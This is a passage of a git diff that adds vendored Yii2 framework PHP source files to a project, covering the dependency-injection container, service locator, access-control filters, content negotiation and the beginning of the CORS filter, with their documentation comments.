{ + $object = $this->build($class, $params, $config); + } else { + $object = $this->get($concrete, $params, $config); + } + } elseif (is_object($definition)) { + return $this->_singletons[$class] = $definition; + } else { + throw new InvalidConfigException("Unexpected object definition type: " . gettype($definition)); + } + + if (array_key_exists($class, $this->_singletons)) { + // singleton + $this->_singletons[$class] = $object; + } + + return $object; + } + + /** + * Registers a class definition with this container. + * + * For example, + * + * ```php + * // register a class name as is. This can be skipped. + * $container->set('yii\db\Connection'); + * + * // register an interface + * // When a class depends on the interface, the corresponding class + * // will be instantiated as the dependent object + * $container->set('yii\mail\MailInterface', 'yii\swiftmailer\Mailer'); + * + * // register an alias name. You can use $container->get('foo') + * // to create an instance of Connection + * $container->set('foo', 'yii\db\Connection'); + * + * // register a class with configuration. The configuration + * // will be applied when the class is instantiated by get() + * $container->set('yii\db\Connection', [ + * 'dsn' => 'mysql:host=127.0.0.1;dbname=demo', + * 'username' => 'root', + * 'password' => '', + * 'charset' => 'utf8', + * ]); + * + * // register an alias name with class configuration + * // In this case, a "class" element is required to specify the class + * $container->set('db', [ + * 'class' => 'yii\db\Connection', + * 'dsn' => 'mysql:host=127.0.0.1;dbname=demo', + * 'username' => 'root', + * 'password' => '', + * 'charset' => 'utf8', + * ]); + * + * // register a PHP callable + * // The callable will be executed when $container->get('db') is called + * $container->set('db', function ($container, $params, $config) { + * return new \yii\db\Connection($config); + * }); + * ``` + * + * If a class definition with the same name already exists, it will be overwritten with the new one. + * You may use [[has()]] to check if a class definition already exists. + * + * @param string $class class name, interface name or alias name + * @param mixed $definition the definition associated with `$class`. It can be one of the followings: + * + * - a PHP callable: The callable will be executed when [[get()]] is invoked. The signature of the callable + * should be `function ($container, $params, $config)`, where `$params` stands for the list of constructor + * parameters, `$config` the object configuration, and `$container` the container object. The return value + * of the callable will be returned by [[get()]] as the object instance requested. + * - a configuration array: the array contains name-value pairs that will be used to initialize the property + * values of the newly created object when [[get()]] is called. The `class` element stands for the + * the class of the object to be created. If `class` is not specified, `$class` will be used as the class name. + * - a string: a class name, an interface name or an alias name. + * @param array $params the list of constructor parameters. The parameters will be passed to the class + * constructor when [[get()]] is called. + * @return static the container itself + */ + public function set($class, $definition = [], array $params = []) + { + $this->_definitions[$class] = $this->normalizeDefinition($class, $definition); + $this->_params[$class] = $params; + unset($this->_singletons[$class]); + return $this; + } + + /** + * Registers a class definition with this container and marks the class as a singleton class. + * + * This method is similar to [[set()]] except that classes registered via this method will only have one + * instance. Each time [[get()]] is called, the same instance of the specified class will be returned. + * + * @param string $class class name, interface name or alias name + * @param mixed $definition the definition associated with `$class`. See [[set()]] for more details. + * @param array $params the list of constructor parameters. The parameters will be passed to the class + * constructor when [[get()]] is called. + * @return static the container itself + * @see set() + */ + public function setSingleton($class, $definition = [], array $params = []) + { + $this->_definitions[$class] = $this->normalizeDefinition($class, $definition); + $this->_params[$class] = $params; + $this->_singletons[$class] = null; + return $this; + } + + /** + * Returns a value indicating whether the container has the definition of the specified name. + * @param string $class class name, interface name or alias name + * @return boolean whether the container has the definition of the specified name.. + * @see set() + */ + public function has($class) + { + return isset($this->_definitions[$class]); + } + + /** + * Returns a value indicating whether the given name corresponds to a registered singleton. + * @param string $class class name, interface name or alias name + * @param boolean $checkInstance whether to check if the singleton has been instantiated. + * @return boolean whether the given name corresponds to a registered singleton. If `$checkInstance` is true, + * the method should return a value indicating whether the singleton has been instantiated. + */ + public function hasSingleton($class, $checkInstance = false) + { + return $checkInstance ? isset($this->_singletons[$class]) : array_key_exists($class, $this->_singletons); + } + + /** + * Removes the definition for the specified name. + * @param string $class class name, interface name or alias name + */ + public function clear($class) + { + unset($this->_definitions[$class], $this->_singletons[$class]); + } + + /** + * Normalizes the class definition. + * @param string $class class name + * @param string|array|callable $definition the class definition + * @return array the normalized class definition + * @throws InvalidConfigException if the definition is invalid. + */ + protected function normalizeDefinition($class, $definition) + { + if (empty($definition)) { + return ['class' => $class]; + } elseif (is_string($definition)) { + return ['class' => $definition]; + } elseif (is_callable($definition, true) || is_object($definition)) { + return $definition; + } elseif (is_array($definition)) { + if (!isset($definition['class'])) { + if (strpos($class, '\\') !== false) { + $definition['class'] = $class; + } else { + throw new InvalidConfigException("A class definition requires a \"class\" member."); + } + } + return $definition; + } else { + throw new InvalidConfigException("Unsupported definition type for \"$class\": " . gettype($definition)); + } + } + + /** + * Returns the list of the object definitions or the loaded shared objects. + * @return array the list of the object definitions or the loaded shared objects (type or ID => definition or instance). + */ + public function getDefinitions() + { + return $this->_definitions; + } + + /** + * Creates an instance of the specified class. + * This method will resolve dependencies of the specified class, instantiate them, and inject + * them into the new instance of the specified class. + * @param string $class the class name + * @param array $params constructor parameters + * @param array $config configurations to be applied to the new instance + * @return object the newly created instance of the specified class + */ + protected function build($class, $params, $config) + { + /* @var $reflection ReflectionClass */ + list ($reflection, $dependencies) = $this->getDependencies($class); + + foreach ($params as $index => $param) { + $dependencies[$index] = $param; + } + + if (!empty($dependencies) && is_a($class, 'yii\base\Object', true)) { + // set $config as the last parameter (existing one will be overwritten) + $dependencies[count($dependencies) - 1] = $config; + $dependencies = $this->resolveDependencies($dependencies, $reflection); + return $reflection->newInstanceArgs($dependencies); + } else { + $dependencies = $this->resolveDependencies($dependencies, $reflection); + $object = $reflection->newInstanceArgs($dependencies); + foreach ($config as $name => $value) { + $object->$name = $value; + } + return $object; + } + } + + /** + * Merges the user-specified constructor parameters with the ones registered via [[set()]]. + * @param string $class class name, interface name or alias name + * @param array $params the constructor parameters + * @return array the merged parameters + */ + protected function mergeParams($class, $params) + { + if (empty($this->_params[$class])) { + return $params; + } elseif (empty($params)) { + return $this->_params[$class]; + } else { + $ps = $this->_params[$class]; + foreach ($params as $index => $value) { + $ps[$index] = $value; + } + return $ps; + } + } + + /** + * Returns the dependencies of the specified class. + * @param string $class class name, interface name or alias name + * @return array the dependencies of the specified class. + */ + protected function getDependencies($class) + { + if (isset($this->_reflections[$class])) { + return [$this->_reflections[$class], $this->_dependencies[$class]]; + } + + $dependencies = []; + $reflection = new ReflectionClass($class); + + $constructor = $reflection->getConstructor(); + if ($constructor !== null) { + foreach ($constructor->getParameters() as $param) { + if ($param->isDefaultValueAvailable()) { + $dependencies[] = $param->getDefaultValue(); + } else { + $c = $param->getClass(); + $dependencies[] = Instance::of($c === null ? null : $c->getName()); + } + } + } + + $this->_reflections[$class] = $reflection; + $this->_dependencies[$class] = $dependencies; + + return [$reflection, $dependencies]; + } + + /** + * Resolves dependencies by replacing them with the actual object instances. + * @param array $dependencies the dependencies + * @param ReflectionClass $reflection the class reflection associated with the dependencies + * @return array the resolved dependencies + * @throws InvalidConfigException if a dependency cannot be resolved or if a dependency cannot be fulfilled. + */ + protected function resolveDependencies($dependencies, $reflection = null) + { + foreach ($dependencies as $index => $dependency) { + if ($dependency instanceof Instance) { + if ($dependency->id !== null) { + $dependencies[$index] = $this->get($dependency->id); + } elseif ($reflection !== null) { + $name = $reflection->getConstructor()->getParameters()[$index]->getName(); + $class = $reflection->getName(); + throw new InvalidConfigException("Missing required parameter \"$name\" when instantiating \"$class\"."); + } + } + } + return $dependencies; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/di/Instance.php b/php/yii2/basic/vendor/yiisoft/yii2/di/Instance.php new file mode 100644 index 00000000..5bdf3b89 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/di/Instance.php @@ -0,0 +1,149 @@ +set('cache', 'yii\caching\DbCache', Instance::of('db')); + * $container->set('db', [ + * 'class' => 'yii\db\Connection', + * 'dsn' => 'sqlite:path/to/file.db', + * ]); + * ``` + * + * And the following example shows how a class retrieves a component from a service locator: + * + * ```php + * class DbCache extends Cache + * { + * public $db = 'db'; + * + * public function init() + * { + * parent::init(); + * $this->db = Instance::ensure($this->db, 'yii\db\Connection'); + * } + * } + * ``` + * + * @author Qiang Xue + * @since 2.0 + */ +class Instance +{ + /** + * @var string the component ID, class name, interface name or alias name + */ + public $id; + + + /** + * Constructor. + * @param string $id the component ID + */ + protected function __construct($id) + { + $this->id = $id; + } + + /** + * Creates a new Instance object. + * @param string $id the component ID + * @return Instance the new Instance object. + */ + public static function of($id) + { + return new static($id); + } + + /** + * Resolves the specified reference into the actual object and makes sure it is of the specified type. + * + * The reference may be specified as a string or an Instance object. If the former, + * it will be treated as a component ID, a class/interface name or an alias, depending on the container type. + * + * If you do not specify a container, the method will first try `Yii::$app` followed by `Yii::$container`. + * + * For example, + * + * ```php + * use yii\db\Connection; + * + * // returns Yii::$app->db + * $db = Instance::ensure('db', Connection::className()); + * // or + * $instance = Instance::of('db'); + * $db = Instance::ensure($instance, Connection::className()); + * ``` + * + * @param object|string|static $reference an object or a reference to the desired object. + * You may specify a reference in terms of a component ID or an Instance object. + * @param string $type the class/interface name to be checked. If null, type check will not be performed. + * @param ServiceLocator|Container $container the container. This will be passed to [[get()]]. + * @return object the object referenced by the Instance, or `$reference` itself if it is an object. + * @throws InvalidConfigException if the reference is invalid + */ + public static function ensure($reference, $type = null, $container = null) + { + if ($reference instanceof $type) { + return $reference; + } elseif (empty($reference)) { + throw new InvalidConfigException('The required component is not specified.'); + } + + if (is_string($reference)) { + $reference = new static($reference); + } + + if ($reference instanceof self) { + $component = $reference->get($container); + if ($component instanceof $type || $type === null) { + return $component; + } else { + throw new InvalidConfigException('"' . $reference->id . '" refers to a ' . get_class($component) . " component. $type is expected."); + } + } + + $valueType = is_object($reference) ? get_class($reference) : gettype($reference); + throw new InvalidConfigException("Invalid data type: $valueType. $type is expected."); + } + + /** + * Returns the actual object referenced by this Instance object. + * @param ServiceLocator|Container $container the container used to locate the referenced object. + * If null, the method will first try `Yii::$app` then `Yii::$container`. + * @return object the actual object referenced by this Instance object. + */ + public function get($container = null) + { + if ($container) { + return $container->get($this->id); + } + if (Yii::$app && Yii::$app->has($this->id)) { + return Yii::$app->get($this->id); + } else { + return Yii::$container->get($this->id); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/di/ServiceLocator.php b/php/yii2/basic/vendor/yiisoft/yii2/di/ServiceLocator.php new file mode 100644 index 00000000..23d89cb3 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/di/ServiceLocator.php @@ -0,0 +1,261 @@ +setComponents([ + * 'db' => [ + * 'class' => 'yii\db\Connection', + * 'dsn' => 'sqlite:path/to/file.db', + * ], + * 'cache' => [ + * 'class' => 'yii\caching\DbCache', + * 'db' => 'db', + * ], + * ]); + * + * $db = $locator->get('db'); // or $locator->db + * $cache = $locator->get('cache'); // or $locator->cache + * ``` + * + * Because [[\yii\base\Module]] extends from ServiceLocator, modules and the application are all service locators. + * + * @property array $components The list of the component definitions or the loaded component instances (ID => + * definition or instance). + * + * @author Qiang Xue + * @since 2.0 + */ +class ServiceLocator extends Component +{ + /** + * @var array shared component instances indexed by their IDs + */ + private $_components = []; + /** + * @var array component definitions indexed by their IDs + */ + private $_definitions = []; + + + /** + * Getter magic method. + * This method is overridden to support accessing components like reading properties. + * @param string $name component or property name + * @return mixed the named property value + */ + public function __get($name) + { + if ($this->has($name)) { + return $this->get($name); + } else { + return parent::__get($name); + } + } + + /** + * Checks if a property value is null. + * This method overrides the parent implementation by checking if the named component is loaded. + * @param string $name the property name or the event name + * @return boolean whether the property value is null + */ + public function __isset($name) + { + if ($this->has($name, true)) { + return true; + } else { + return parent::__isset($name); + } + } + + /** + * Returns a value indicating whether the locator has the specified component definition or has instantiated the component. + * This method may return different results depending on the value of `$checkInstance`. + * + * - If `$checkInstance` is false (default), the method will return a value indicating whether the locator has the specified + * component definition. + * - If `$checkInstance` is true, the method will return a value indicating whether the locator has + * instantiated the specified component. + * + * @param string $id component ID (e.g. `db`). + * @param boolean $checkInstance whether the method should check if the component is shared and instantiated. + * @return boolean whether the locator has the specified component definition or has instantiated the component. + * @see set() + */ + public function has($id, $checkInstance = false) + { + return $checkInstance ? isset($this->_components[$id]) : isset($this->_definitions[$id]); + } + + /** + * Returns the component instance with the specified ID. + * + * @param string $id component ID (e.g. `db`). + * @param boolean $throwException whether to throw an exception if `$id` is not registered with the locator before. + * @return object|null the component of the specified ID. If `$throwException` is false and `$id` + * is not registered before, null will be returned. + * @throws InvalidConfigException if `$id` refers to a nonexistent component ID + * @see has() + * @see set() + */ + public function get($id, $throwException = true) + { + if (isset($this->_components[$id])) { + return $this->_components[$id]; + } + + if (isset($this->_definitions[$id])) { + $definition = $this->_definitions[$id]; + if (is_object($definition) && !$definition instanceof Closure) { + return $this->_components[$id] = $definition; + } else { + return $this->_components[$id] = Yii::createObject($definition); + } + } elseif ($throwException) { + throw new InvalidConfigException("Unknown component ID: $id"); + } else { + return null; + } + } + + /** + * Registers a component definition with this locator. + * + * For example, + * + * ```php + * // a class name + * $locator->set('cache', 'yii\caching\FileCache'); + * + * // a configuration array + * $locator->set('db', [ + * 'class' => 'yii\db\Connection', + * 'dsn' => 'mysql:host=127.0.0.1;dbname=demo', + * 'username' => 'root', + * 'password' => '', + * 'charset' => 'utf8', + * ]); + * + * // an anonymous function + * $locator->set('cache', function ($params) { + * return new \yii\caching\FileCache; + * }); + * + * // an instance + * $locator->set('cache', new \yii\caching\FileCache); + * ``` + * + * If a component definition with the same ID already exists, it will be overwritten. + * + * @param string $id component ID (e.g. `db`). + * @param mixed $definition the component definition to be registered with this locator. + * It can be one of the followings: + * + * - a class name + * - a configuration array: the array contains name-value pairs that will be used to + * initialize the property values of the newly created object when [[get()]] is called. + * The `class` element is required and stands for the the class of the object to be created. + * - a PHP callable: either an anonymous function or an array representing a class method (e.g. `['Foo', 'bar']`). + * The callable will be called by [[get()]] to return an object associated with the specified component ID. + * - an object: When [[get()]] is called, this object will be returned. + * + * @throws InvalidConfigException if the definition is an invalid configuration array + */ + public function set($id, $definition) + { + if ($definition === null) { + unset($this->_components[$id], $this->_definitions[$id]); + return; + } + + unset($this->_components[$id]); + + if (is_object($definition) || is_callable($definition, true)) { + // an object, a class name, or a PHP callable + $this->_definitions[$id] = $definition; + } elseif (is_array($definition)) { + // a configuration array + if (isset($definition['class'])) { + $this->_definitions[$id] = $definition; + } else { + throw new InvalidConfigException("The configuration for the \"$id\" component must contain a \"class\" element."); + } + } else { + throw new InvalidConfigException("Unexpected configuration type for the \"$id\" component: " . gettype($definition)); + } + } + + /** + * Removes the component from the locator. + * @param string $id the component ID + */ + public function clear($id) + { + unset($this->_definitions[$id], $this->_components[$id]); + } + + /** + * Returns the list of the component definitions or the loaded component instances. + * @param boolean $returnDefinitions whether to return component definitions instead of the loaded component instances. + * @return array the list of the component definitions or the loaded component instances (ID => definition or instance). + */ + public function getComponents($returnDefinitions = true) + { + return $returnDefinitions ? $this->_definitions : $this->_components; + } + + /** + * Registers a set of component definitions in this locator. + * + * This is the bulk version of [[set()]]. The parameter should be an array + * whose keys are component IDs and values the corresponding component definitions. + * + * For more details on how to specify component IDs and definitions, please refer to [[set()]]. + * + * If a component definition with the same ID already exists, it will be overwritten. + * + * The following is an example for registering two component definitions: + * + * ```php + * [ + * 'db' => [ + * 'class' => 'yii\db\Connection', + * 'dsn' => 'sqlite:path/to/file.db', + * ], + * 'cache' => [ + * 'class' => 'yii\caching\DbCache', + * 'db' => 'db', + * ], + * ] + * ``` + * + * @param array $components component definitions or instances + */ + public function setComponents($components) + { + foreach ($components as $id => $component) { + $this->set($id, $component); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/filters/AccessControl.php b/php/yii2/basic/vendor/yiisoft/yii2/filters/AccessControl.php new file mode 100644 index 00000000..a0edb90c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/filters/AccessControl.php @@ -0,0 +1,153 @@ + [ + * 'class' => \yii\filters\AccessControl::className(), + * 'only' => ['create', 'update'], + * 'rules' => [ + * // deny all POST requests + * [ + * 'allow' => false, + * 'verbs' => ['POST'] + * ], + * // allow authenticated users + * [ + * 'allow' => true, + * 'roles' => ['@'], + * ], + * // everything else is denied + * ], + * ], + * ]; + * } + * ~~~ + * + * @author Qiang Xue + * @since 2.0 + */ +class AccessControl extends ActionFilter +{ + /** + * @var User|string the user object representing the authentication status or the ID of the user application component. + */ + public $user = 'user'; + /** + * @var callable a callback that will be called if the access should be denied + * to the current user. If not set, [[denyAccess()]] will be called. + * + * The signature of the callback should be as follows: + * + * ~~~ + * function ($rule, $action) + * ~~~ + * + * where `$rule` is the rule that denies the user, and `$action` is the current [[Action|action]] object. + * `$rule` can be `null` if access is denied because none of the rules matched. + */ + public $denyCallback; + /** + * @var array the default configuration of access rules. Individual rule configurations + * specified via [[rules]] will take precedence when the same property of the rule is configured. + */ + public $ruleConfig = ['class' => 'yii\filters\AccessRule']; + /** + * @var array a list of access rule objects or configuration arrays for creating the rule objects. + * If a rule is specified via a configuration array, it will be merged with [[ruleConfig]] first + * before it is used for creating the rule object. + * @see ruleConfig + */ + public $rules = []; + + + /** + * Initializes the [[rules]] array by instantiating rule objects from configurations. + */ + public function init() + { + parent::init(); + $this->user = Instance::ensure($this->user, User::className()); + foreach ($this->rules as $i => $rule) { + if (is_array($rule)) { + $this->rules[$i] = Yii::createObject(array_merge($this->ruleConfig, $rule)); + } + } + } + + /** + * This method is invoked right before an action is to be executed (after all possible filters.) + * You may override this method to do last-minute preparation for the action. + * @param Action $action the action to be executed. + * @return boolean whether the action should continue to be executed. + */ + public function beforeAction($action) + { + $user = $this->user; + $request = Yii::$app->getRequest(); + /* @var $rule AccessRule */ + foreach ($this->rules as $rule) { + if ($allow = $rule->allows($action, $user, $request)) { + return true; + } elseif ($allow === false) { + if (isset($rule->denyCallback)) { + call_user_func($rule->denyCallback, $rule, $action); + } elseif (isset($this->denyCallback)) { + call_user_func($this->denyCallback, $rule, $action); + } else { + $this->denyAccess($user); + } + return false; + } + } + if (isset($this->denyCallback)) { + call_user_func($this->denyCallback, null, $action); + } else { + $this->denyAccess($user); + } + return false; + } + + /** + * Denies the access of the user. + * The default implementation will redirect the user to the login page if he is a guest; + * if the user is already logged, a 403 HTTP exception will be thrown. + * @param User $user the current user + * @throws ForbiddenHttpException if the user is already logged in. + */ + protected function denyAccess($user) + { + if ($user->getIsGuest()) { + $user->loginRequired(); + } else { + throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.')); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/filters/AccessRule.php b/php/yii2/basic/vendor/yiisoft/yii2/filters/AccessRule.php new file mode 100644 index 00000000..fa946712 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/filters/AccessRule.php @@ -0,0 +1,195 @@ + + * @since 2.0 + */ +class AccessRule extends Component +{ + /** + * @var boolean whether this is an 'allow' rule or 'deny' rule. + */ + public $allow; + /** + * @var array list of action IDs that this rule applies to. The comparison is case-sensitive. + * If not set or empty, it means this rule applies to all actions. + */ + public $actions; + /** + * @var array list of controller IDs that this rule applies to. The comparison is case-sensitive. + * If not set or empty, it means this rule applies to all controllers. + */ + public $controllers; + /** + * @var array list of roles that this rule applies to. Two special roles are recognized, and + * they are checked via [[User::isGuest]]: + * + * - `?`: matches a guest user (not authenticated yet) + * - `@`: matches an authenticated user + * + * Using other role names requires RBAC (Role-Based Access Control), and + * [[User::can()]] will be called. + * + * If this property is not set or empty, it means this rule applies to all roles. + */ + public $roles; + /** + * @var array list of user IP addresses that this rule applies to. An IP address + * can contain the wildcard `*` at the end so that it matches IP addresses with the same prefix. + * For example, '192.168.*' matches all IP addresses in the segment '192.168.'. + * If not set or empty, it means this rule applies to all IP addresses. + * @see Request::userIP + */ + public $ips; + /** + * @var array list of request methods (e.g. `GET`, `POST`) that this rule applies to. + * The request methods must be specified in uppercase. + * If not set or empty, it means this rule applies to all request methods. + * @see \yii\web\Request::method + */ + public $verbs; + /** + * @var callable a callback that will be called to determine if the rule should be applied. + * The signature of the callback should be as follows: + * + * ~~~ + * function ($rule, $action) + * ~~~ + * + * where `$rule` is this rule, and `$action` is the current [[Action|action]] object. + * The callback should return a boolean value indicating whether this rule should be applied. + */ + public $matchCallback; + /** + * @var callable a callback that will be called if this rule determines the access to + * the current action should be denied. If not set, the behavior will be determined by + * [[AccessControl]]. + * + * The signature of the callback should be as follows: + * + * ~~~ + * function ($rule, $action) + * ~~~ + * + * where `$rule` is this rule, and `$action` is the current [[Action|action]] object. + */ + public $denyCallback; + + + /** + * Checks whether the Web user is allowed to perform the specified action. + * @param Action $action the action to be performed + * @param User $user the user object + * @param Request $request + * @return boolean|null true if the user is allowed, false if the user is denied, null if the rule does not apply to the user + */ + public function allows($action, $user, $request) + { + if ($this->matchAction($action) + && $this->matchRole($user) + && $this->matchIP($request->getUserIP()) + && $this->matchVerb($request->getMethod()) + && $this->matchController($action->controller) + && $this->matchCustom($action) + ) { + return $this->allow ? true : false; + } else { + return null; + } + } + + /** + * @param Action $action the action + * @return boolean whether the rule applies to the action + */ + protected function matchAction($action) + { + return empty($this->actions) || in_array($action->id, $this->actions, true); + } + + /** + * @param Controller $controller the controller + * @return boolean whether the rule applies to the controller + */ + protected function matchController($controller) + { + return empty($this->controllers) || in_array($controller->uniqueId, $this->controllers, true); + } + + /** + * @param User $user the user object + * @return boolean whether the rule applies to the role + */ + protected function matchRole($user) + { + if (empty($this->roles)) { + return true; + } + foreach ($this->roles as $role) { + if ($role === '?') { + if ($user->getIsGuest()) { + return true; + } + } elseif ($role === '@') { + if (!$user->getIsGuest()) { + return true; + } + } elseif ($user->can($role)) { + return true; + } + } + + return false; + } + + /** + * @param string $ip the IP address + * @return boolean whether the rule applies to the IP address + */ + protected function matchIP($ip) + { + if (empty($this->ips)) { + return true; + } + foreach ($this->ips as $rule) { + if ($rule === '*' || $rule === $ip || (($pos = strpos($rule, '*')) !== false && !strncmp($ip, $rule, $pos))) { + return true; + } + } + + return false; + } + + /** + * @param string $verb the request method + * @return boolean whether the rule applies to the request + */ + protected function matchVerb($verb) + { + return empty($this->verbs) || in_array($verb, $this->verbs, true); + } + + /** + * @param Action $action the action to be performed + * @return boolean whether the rule should be applied + */ + protected function matchCustom($action) + { + return empty($this->matchCallback) || call_user_func($this->matchCallback, $this, $action); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/filters/ContentNegotiator.php b/php/yii2/basic/vendor/yiisoft/yii2/filters/ContentNegotiator.php new file mode 100644 index 00000000..9a34b0f7 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/filters/ContentNegotiator.php @@ -0,0 +1,256 @@ + [ + * [ + * 'class' => 'yii\filters\ContentNegotiator', + * 'formats' => [ + * 'application/json' => Response::FORMAT_JSON, + * 'application/xml' => Response::FORMAT_XML, + * ], + * 'languages' => [ + * 'en', + * 'de', + * ], + * ], + * ], + * ]; + * ``` + * + * The following code shows how you can use ContentNegotiator as an action filter in either a controller or a module. + * In this case, the content negotiation result only applies to the corresponding controller or module, or even + * specific actions if you configure the `only` or `except` property of the filter. + * + * ```php + * use yii\web\Response; + * + * public function behaviors() + * { + * return [ + * [ + * 'class' => 'yii\filters\ContentNegotiator', + * 'only' => ['view', 'index'], // in a controller + * // if in a module, use the following IDs for user actions + * // 'only' => ['user/view', 'user/index'] + * 'formats' => [ + * 'application/json' => Response::FORMAT_JSON, + * ], + * 'languages' => [ + * 'en', + * 'de', + * ], + * ], + * ]; + * } + * ``` + * + * @author Qiang Xue + * @since 2.0 + */ +class ContentNegotiator extends ActionFilter implements BootstrapInterface +{ + /** + * @var string the name of the GET parameter that specifies the response format. + * Note that if the specified format does not exist in [[formats]], a [[UnsupportedMediaTypeHttpException]] + * exception will be thrown. If the parameter value is empty or if this property is null, + * the response format will be determined based on the `Accept` HTTP header only. + * @see formats + */ + public $formatParam = '_format'; + /** + * @var string the name of the GET parameter that specifies the [[\yii\base\Application::language|application language]]. + * Note that if the specified language does not match any of [[languages]], the first language in [[languages]] + * will be used. If the parameter value is empty or if this property is null, + * the application language will be determined based on the `Accept-Language` HTTP header only. + * @see languages + */ + public $languageParam = '_lang'; + /** + * @var array list of supported response formats. The keys are MIME types (e.g. `application/json`) + * while the values are the corresponding formats (e.g. `html`, `json`) which must be supported + * as declared in [[\yii\web\Response::formatters]]. + * + * If this property is empty or not set, response format negotiation will be skipped. + */ + public $formats; + /** + * @var array a list of supported languages. The array keys are the supported language variants (e.g. `en-GB`, `en-US`), + * while the array values are the corresponding language codes (e.g. `en`, `de`) recognized by the application. + * + * Array keys are not always required. When an array value does not have a key, the matching of the requested language + * will be based on a language fallback mechanism. For example, a value of `en` will match `en`, `en_US`, `en-US`, `en-GB`, etc. + * + * If this property is empty or not set, language negotiation will be skipped. + */ + public $languages; + /** + * @var Request the current request. If not set, the `request` application component will be used. + */ + public $request; + /** + * @var Response the response to be sent. If not set, the `response` application component will be used. + */ + public $response; + + + /** + * @inheritdoc + */ + public function bootstrap($app) + { + $this->negotiate(); + } + + /** + * @inheritdoc + */ + public function beforeAction($action) + { + $this->negotiate(); + return true; + } + + /** + * Negotiates the response format and application language. + */ + public function negotiate() + { + $request = $this->request ? : Yii::$app->getRequest(); + $response = $this->response ? : Yii::$app->getResponse(); + if (!empty($this->formats)) { + $this->negotiateContentType($request, $response); + } + if (!empty($this->languages)) { + Yii::$app->language = $this->negotiateLanguage($request); + } + } + + /** + * Negotiates the response format. + * @param Request $request + * @param Response $response + * @throws InvalidConfigException if [[formats]] is empty + * @throws UnsupportedMediaTypeHttpException if none of the requested content types is accepted. + */ + protected function negotiateContentType($request, $response) + { + if (!empty($this->formatParam) && ($format = $request->get($this->formatParam)) !== null) { + if (in_array($format, $this->formats)) { + $response->format = $format; + $response->acceptMimeType = null; + $response->acceptParams = []; + return; + } else { + throw new UnsupportedMediaTypeHttpException('The requested response format is not supported: ' . $format); + } + } + + $types = $request->getAcceptableContentTypes(); + if (empty($types)) { + $types['*/*'] = []; + } + + foreach ($types as $type => $params) { + if (isset($this->formats[$type])) { + $response->format = $this->formats[$type]; + $response->acceptMimeType = $type; + $response->acceptParams = $params; + return; + } + } + + if (isset($types['*/*'])) { + // return the first format + foreach ($this->formats as $type => $format) { + $response->format = $this->formats[$type]; + $response->acceptMimeType = $type; + $response->acceptParams = []; + return; + } + } + + throw new UnsupportedMediaTypeHttpException('None of your requested content types is supported.'); + } + + /** + * Negotiates the application language. + * @param Request $request + * @return string the chosen language + */ + protected function negotiateLanguage($request) + { + if (!empty($this->languageParam) && ($language = $request->get($this->languageParam)) !== null) { + if (isset($this->languages[$language])) { + return $this->languages[$language]; + } + foreach ($this->languages as $key => $supported) { + if (is_integer($key) && $this->isLanguageSupported($language, $supported)) { + return $supported; + } + } + return reset($this->languages); + } + + foreach ($request->getAcceptableLanguages() as $language) { + if (isset($this->languages[$language])) { + return $this->languages[$language]; + } + foreach ($this->languages as $key => $supported) { + if (is_integer($key) && $this->isLanguageSupported($language, $supported)) { + return $supported; + } + } + } + + return reset($this->languages); + } + + /** + * Returns a value indicating whether the requested language matches the supported language. + * @param string $requested the requested language code + * @param string $supported the supported language code + * @return boolean whether the requested language is supported + */ + protected function isLanguageSupported($requested, $supported) + { + $supported = str_replace('_', '-', strtolower($supported)); + $requested = str_replace('_', '-', strtolower($requested)); + return strpos($requested . '-', $supported . '-') === 0; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/filters/Cors.php b/php/yii2/basic/vendor/yiisoft/yii2/filters/Cors.php new file mode 100644 index 00000000..0c291e75 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/filters/Cors.php @@ -0,0 +1,246 @@ + [ + * 'class' => \yii\filters\Cors::className(), + * ], + * ]; + * } + * ``` + * + * The CORS filter can be specialized to restrict parameters, like this, + * [MDN CORS Information](https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS) + * + * ```php + * public function behaviors() + * { + * return [ + * 'corsFilter' => [ + * 'class' => \yii\filters\Cors::className(), + * 'cors' => [ + * // restrict access to + * 'Origin' => ['http://www.myserver.com', 'https://www.myserver.com'], + * 'Access-Control-Request-Method' => ['POST', 'PUT'], + * // Allow only POST and PUT methods + * 'Access-Control-Request-Headers' => ['X-Wsse'], + * // Allow only headers 'X-Wsse' + * 'Access-Control-Allow-Credentials' => true, + * // Allow OPTIONS caching + * 'Access-Control-Max-Age' => 3600, + * ], + * + * ], + * ]; + * } + * ``` + * + * @author Philippe Gaultier + * @since 2.0 + */ +class Cors extends ActionFilter +{ + /** + * @var Request the current request. If not set, the `request` application component will be used. + */ + public $request; + /** + * @var Response the response to be sent. If not set, the `response` application component will be used. + */ + public $response; + /** + * @var array define specific CORS rules for specific actions + */ + public $actions = []; + /** + * @var array Basic headers handled for the CORS requests. + */ + public $cors = [ + 'Origin' => ['*'], + 'Access-Control-Request-Method' => ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS'], + 'Access-Control-Request-Headers' => ['*'], + 'Access-Control-Allow-Credentials' => null, + 'Access-Control-Max-Age' => 86400, + ]; + + + /** + * @inheritdoc + */ + public function beforeAction($action) + { + $this->request = $this->request ?: Yii::$app->getRequest(); + $this->response = $this->response ?: Yii::$app->getResponse(); + + $this->overrideDefaultSettings($action); + + $requestCorsHeaders = $this->extractHeaders(); + $responseCorsHeaders = $this->prepareHeaders($requestCorsHeaders); + $this->addCorsHeaders($this->response, $responseCorsHeaders); + + return true; + } + + /** + * Override settings for specific action + * @param \yii\base\Action $action the action settings to override + */ + public function overrideDefaultSettings($action) + { + if (isset($this->actions[$action->id])) { + $actionParams = $this->actions[$action->id]; + $actionParamsKeys = array_keys($actionParams); + foreach ($this->cors as $headerField => $headerValue) { + if (in_array($headerField, $actionParamsKeys)) { + $this->cors[$headerField] = $actionParams[$headerField]; + } + } + } + } + + /** + * Extract CORS headers from the request + * @return array CORS headers to handle + */ + 